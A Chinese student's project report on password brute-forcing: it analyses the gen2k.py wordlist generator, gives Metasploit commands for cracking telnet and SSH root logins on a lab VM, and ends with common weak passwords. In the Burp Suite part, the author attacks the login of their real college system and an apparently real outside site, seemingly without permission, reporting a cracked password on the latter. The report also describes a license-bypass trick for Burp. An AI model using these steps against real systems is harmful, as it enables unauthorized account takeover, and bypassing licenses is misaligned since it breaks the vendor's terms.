20145320周岐浩免考
20145320免考项目
Metasploit与burpsuite暴力破解
目录:
破解内容及介绍
1.telnet
2.SSH
3.字典生成器gen2k.py代码分析
Metasploit爆破
一、Metasploit批量验证爆破telnet
二、Metasploit对目标主机SSH爆破
burpsuite暴力破解网页登录
中国人常用的字典种子
实验内容:
破解内容及介绍
1. telnet
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。
工作过程
使用Telnet协议进行远程登录时需要满足以下条件:在本地计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
- 1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;
- 2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据包;
- 3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
- 4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
2.SSH
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。
SSH 主要由三部分组成:
- 传输层协议 [SSH-TRANS]
提供了服务器认证,保密性及完整性。此外它有时还提供压缩功能。 SSH-TRANS 通常运行在TCP/IP连接上,也可能用于其它可靠数据流上。 SSH-TRANS 提供了强力的加密技术、密码主机认证及完整性保护。该协议中的认证基于主机,并且该协议不执行用户认证。更高层的用户认证协议可以设计为在此协议之上。
- 用户认证协议 [SSH-USERAUTH]
用于向服务器提供客户端用户鉴别功能。它运行在传输层协议 SSH-TRANS 上面。当SSH-USERAUTH 开始后,它从低层协议那里接收会话标识符(从第一次密钥交换中的交换哈希H )。会话标识符唯一标识此会话并且适用于标记以证明私钥的所有权。 SSH-USERAUTH 也需要知道低层协议是否提供保密性保护。
- 连接协议 [SSH-CONNECT]
将多个加密隧道分成逻辑通道。它运行在用户认证协议上。它提供了交互式登录话路、远程命令执行、转发 TCP/IP 连接和转发 X11 连接。
3.字典生成器gen2k.py代码分析:
首先分析其参数
USAGE: ./gen2k.py -w <wordlist> -o <output> [options]
[ -c ] Enable word combination among the words in wordlist.
连接wordlist里面words。
[ -d ] Custom comma separated values to combine with wordlist.
定制逗号分隔值用来连接wordlist
[ -e ] Enable wpa/wpa2 fitness check for generated passwords.
[ -h ] Prints this help.
[ -n ] Enable frequently used number combination with wordlist.
使用经常使用的数字来连接wordlist
[ -o ] Output filename.
[ -w ] Path to word list file.
Wordlist must contain info related to Target.
[ -y ] Enable year combination with wordlist.
添加年份
[ -z ] Enable conversion of words to upper & lower case letters.
若使用参数-c
if exist('-c'):
temp = gen_word_combo(master_list)
data = list(set(temp+data))
def gen_word_combo(words=[]):
"""
Function to mix multiple words from given list.
"""
word_list = []
if len(words) <= 1:
return word_list
for word in words:
for second_word in words:
if word != second_word:
word_list.append(second_word+word)
return word_list
可以看见这个函数的功能是word拼接word。
若使用参数-d
if exist('-d'):
try:
custom_values = find('-d').split(',')
except (AttributeError):
print '[!] Are you kidding me with no values?'
sys.exit(1)
temp = gen_custom(master_list, custom_values)
data = list(set(temp+data))
def gen_custom(words=[], data=[]):
"""
Funtion to combine user defined input with wordlist.
"""
word_list = []
if (len(words) <= 0 or len(data) <= 0):
return word_list
for item in data:
for word in words:
word_list.append(item+word)
word_list.append(word+item)
return word_list
当关键词之间有“,”,则按照“,”分开之后再连接。
若使用参数-e
if exist('-e'):
data = wpa_validation_check(data)
write_file(find('-o'), data)
print '[*] Total words generated: %d' % (len(data))
sys.exit(0)
def wpa_validation_check(words=[]):
"""
Function to optimise wordlist for wpa cracking
Removes Duplicates.
Removes passwords < 8 or > 63 characters in length.
"""
custom_list = list(set(words))
custom_list = [x for x in custom_list if not (len(x) < 8 or len(x) > 63)]
return custom_list
把每个words按照一个一个单词分开以计算单词量。
若使用参数 -n
if exist('-n'):
temp = gen_numbers(master_list)
data = list(set(temp+data))
def gen_numbers(words=[]):
"""
Function to mix words with commonly used numbers patterns.
"""
word_list = []
if len(words) <= 0:
return word_list
num_list = ['0', '01', '012', '0123', '01234', '012345', '0123456', '01234567', '012345678', '0123456789',
'1', '12', '123', '1234','12345', '123456','1234567','12345678','123456789', '1234567890', '9876543210',
'987654321', '87654321', '7654321', '654321', '54321', '4321', '321', '21']
for word in words:
for num in num_list:
word_list.append((word+num))
word_list.append((num+word))
return word_list
将word和num表里面的num拼接,这里我们可以修改num表的数字为用户的生日或者学号。
若使用参数 -y
temp = gen_year(master_list)
data = list(set(temp+data))
def gen_year(words=[]):
"""
Function to mix auto generated year with words from wordlist.
Hint: Date of birth & special dates are often
combined with certain words to form
passwords.
"""
word_list = []
if len(words) <= 0:
return word_list
# Double digit dates
start = 1
while(start <= 99):
for word in words:
word_list.append(word + str("%02d") % (start))
word_list.append(str("%02d") % start + word)
start += 1
这里是拼接末两位
# Four digit dates
start = 1900
while (start <= 2020):
for word in words:
word_list.append(word+str(start))
word_list.append(str(start)+word)
start += 1
这里拼接四位年份。
return word_list
若使用参数 -e
if exist('-e'):
data = wpa_validation_check(data)
def wpa_validation_check(words=[]):
"""
Function to optimise wordlist for wpa cracking
Removes Duplicates.
Removes passwords < 8 or > 63 characters in length.
"""
custom_list = list(set(words))
custom_list = [x for x in custom_list if not (len(x) < 8 or len(x) > 63)]
return custom_list
这里是按照长度检查,把最后wordlist里面长度小于8或者大于63的words去掉。这里我们可以按照我们所需要的长度修改。
一、Metasploit批量验证爆破telnet
【实验目的】
- 使用枚举的方法破解telnet登陆密码。
【实验原理】
- 利用字典生成工具,根据收集来的信息,自动生成密码,使用枚举的方法破解telnet登陆密码。
- 使用nmap扫描目标主机是否开启telnet服务。
- 利用Metasploit暴破目标主机telnet服务。
【实验环境】
这里使用的是实验bar所提供的kali虚拟机进行的此次实验
【实验步骤】
一、利用字典工具生成密码表
- 使用gen2k工具生成密码表。单击桌面空白处,右键菜单选择“在终端中打开”。
- 在终端中输入命令“cd /home”,进入软件目录,在终端中输入命令“more user.txt”,查看已收集到的关键词文件“user.txt”,利用此文件生成对应的密码。
3.在终端中输入命令“python gen2k.py -n -y -z -e -c -w user.txt -o passwd.txt”,生成密码文件passwd.txt,在终端下输入命令“more passwd.txt”,查看生成的内容。
二、利用Metasploit暴破目标主机telnet服务
- 在终端中输入命令“nmap –sV 192.168.1.3”,扫描目标主机,发现目标主机开启telnet服务。
- 在终端中输入命令“msfconsole”,启动MSF终端。
- 在终端中输入命令“set RHOSTS 192.168.1.3”,设置目标主机的IP地址。
- 在终端中输入命令“set PASS_FILE /home/passwd.txt”,爆破时使用的密码文件为passwd.txt。
- 在终端中输入命令“set USER_FILE /home/user.txt”,爆破时使用的用户名文件为user.txt。
8. 在终端中输入“exploit 192.168.1.3”, 对目标主机进行暴力破解。
9. 在终端中显示成功对目标主机的telnet服务进行了破解,账号为root,密码:Simplexue123。
10. 在终端中输入“telnet 192.168.1.3 ”,输入获取的账号root和密码Simplexue123,连接成功。
二、Metasploit对目标主机SSH爆破
【实验目的】
- 利用SSH弱口令漏洞,获取目标主机权限。
【实验原理】
- 靶机root用户存在弱口令漏洞,利用枚举的方法破解目标主机ssh服务。
一、利用nmap工具扫描目标主机
- 使用nmap命令对目标主机进行扫描。
输入“nmap –sV -O 192.168.1.3”,对目标主机进行端口扫描,发现开放22端口。
在msfconsole中输入命令“search ssh_login”,搜索ssh_login的相关工具和攻击载荷。
在终端中输入命令“use auxiliary/scanner/ssh/ssh_login”,启用漏洞利用模块, 提示符就会提示进入到该路径下。
在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。
在终端中输入命令“set RHOSTs 192.168.1.3”,设置目标主机的IP地址。
在终端中输入“set USERNAME root”,指定登陆用户名root。
在终端中输入“set PASS_FILE /home/passwd.txt”,设置暴力破解的密码文件路径。
在终端中输入“set THREADS 50”,设置暴力破解的线程数为50。
在终端中输入“run”, 开始向目标主机爆破ssh的登陆帐号和密码,登陆帐号为root,密码为Simplexue123。
输入“ssh
rootz@192.168.1
.3”,连接目标主机,然后可以看见网卡信息。
实验bar的虚拟机真的太tm的慢而且卡了,我以后再也不用了...
burpsuite暴力破解
暴力破解有一个很好用的软件是burpsuite,这个软件功能非常强大,但是最近要输入lisence才能使用。我们这些平民百姓只能另找出路才行。。
解决方法如下:在同一目录下建立一个.bat文件,内容为
java -jar BurpLoader.jar
,同时修改系统时间为2016年12月3日前才能使用。
接下来回到正题,我们使用burpsuite暴力破解我们学院的教务管理系统,首先进入教务管理系统,任意输入东西。然后使用burpsuite截取包信息。
接下来我们尝试使用爆破,send to intruder
后,我们在输入密码的地方设置爆破点。
接下来设置爆破的payload
,首先利用字典生成器生成payload,以我本人的账号密码进行尝试。由于我知道自己的生日,所以就不需要设置年份进行逐年猜测。
选择payload之后我们进行爆破,爆破完成后查看返回包的长度,假如包的长度与别的包不一样的话就说明这里可能爆破成功了!
仔细对比这几个包发现最后结果都是登录不成功,原因均是验证码不正确。后来发现在不使用其他软件情况下burpsuite无法爆破带验证码的登录,因为验证码会实时更新,每个包的验证码都不一样。
网上搜索了相关的信息后发现可以使用PKAV HTTP Fuzzer配合burpsuite进行对有验证码的登录进行爆破。
首先使用burpsuite抓包,然后将包内容复制到PKAV HTTP Fuzzer里面,添加爆破标记和验证码标记。
接下来我们就对验证码进行识别....
.....
没想到学校的验证码这么难识别,首先中文就难以识别了,而且还要选择红字,我一定是失了智才去爆破学校的登录网站,下载一个次世代验证码识别,生成识别库还要钱。。。
放弃了放弃了,开始我还鄙视学校的登录网站,我还是菜啊,这次换一个验证码简单的来爆破吧...
这次尝试对某网的登录页面进行爆破
发现有一个是明显和其他的不一样,用这个当作密码尝试登录发现是成功的
这个是没有验证码的网站,不太具有代表性。
接下来尝试一下攻击一个有验证码
我们还是任意输入,用burpsuite抓包,
在账号固定为邮箱的情况下,在密码处设置爆破点。这次针对验证码,我们发现这个好像与学院的登录有点不一样,我们对图片右键复制其地址:
http://passport.shiyanbar.com/captcha/b567608c162ac48ab71aa9d019fc84e6.png
发现其后缀是一个.png的图片格式,说明只要这个地址不变,每次爆破的包验证码都是一样的。
而学院的验证码的地址是:
http://dzjw.besti.edu.cn/(xqopn4jvbuixlu55l2arf045)/CheckCode.aspx
后缀是.aspx的动态页面格式,无论图片是否一样,而地址都一样。说明每次执行爆破的包验证码都不一样。
这样的话,我们只要事先输入输入验证码的值再执行爆破就行了。。
发现有个payload返回包的长度不同,尝试一下果然正确了。
常用的字典种子
由上述几个实验我们知道暴力破解的关键是生成破解字典的种子。那么我们针对中国人常用密码,我们该采用怎么样的字典呢?
我们以一个学生为例,一个电科院的学生拥有的信息有:姓名、性别、出生年月日、手机号、班级、学号、邮箱、身份证号。那么我们设置的种子就将这些信息放进去然后利用字典生成器生成就可以了。
假如以我自己为例,设置种子如下
看似不是很多,尝试一下生产字典看看有多少:
才933,也不是很多啊。
我总结了国内用户的密码主要来源于以下方面:
-
姓名的汉语拼音变体
比如xiaoming(小明)、xiaohong(小红)、liming(李明)等,由于国内两字姓名的普遍性,尤其是王、李、张这些大姓的存在,使得这种创建密码的方法存在很大的重合概率,风险很大。比如在百度上搜索“李明”,有1740万个结果。
-
用生日和手机号当作密码。
我们经常看到类似19850804、13560898这样的密码。由于现有的邮箱和SNS网站,通常限定密码最低为8位,所以那些位数相近的数字组合,如生日、固定电话号码、手机号前8位等成为人们常用的密码。
-
默认的密码
在研究用户使用密码行为的时候,至少有75%以上的用户不会主动改变默认的密码,比如当申请ADSL密码重置、手机密码重置之后,很多人选择把系统给的密码记在小本上,而不是自己去设定一个熟悉的,这也导致像admin、root、administrator这样的系统默认密码被广泛应用。
-
弱密码
国内最大的网络安全厂商360安全中心也发布了中国网民最常用的25个“弱密码”。其中,除password、abc123、iloveyou、qwerty等全球网民通用“弱密码”外,其余均为数字组合。而简单的数字组合,似乎更是中国网民最爱,占了榜单近半数。比如“666666”和“888888”这样的吉利数,几乎是所有中国黑客密码字典中的必备项,而“5201314”(我爱你一生一世)显然被国人寄予了浓厚的感情色彩,为中国特色“弱密码”。据统计,网民常用的“弱密码”主要包括简单数字组合、顺序字符组合、临近字符组合以及特殊含义组合等四大类别。而从中国版“弱密码”榜单来看,国内网民更习惯设置6位字符密码,TOP25中竟有18个是6位字符,所占比例高达72%。此外,“a1b2c3”和“p@ssword”这类组合型密码看似复杂,其实也在黑客重点关注的密码列表中。南方日报记者戴远程这些统计的数据是国内的一些安全厂商的专家数据的研究得出来的结论国内网民常用的25个“弱密码”包括:000000、111111、11111111、112233、123123、123321、123456、12345678、654321、666666、888888、abcdef、abcabc、abc123、a1b2c3、aaa111、123qwe、qwerty、qweasd、admin、password、p@ssword、passwd、iloveyou、5201314。
为了我们的账号安全,你还在使用这些弱口令吗?不得不说上面的数据都是挺精准的,而且我们的密码比较多的还是最后面的那一个5201314了,目测也有很多人会使用一些英文带上5201314,也有带上自己名字的缩写加上5211314
总的来说,为了我们的账号密码安全,尽量设置复杂一些的密码吧,另外,我们也要做好其它的防护措施,做好手机的绑定,密保的设置,还有不用一些非法的软件,小心识别钓鱼网站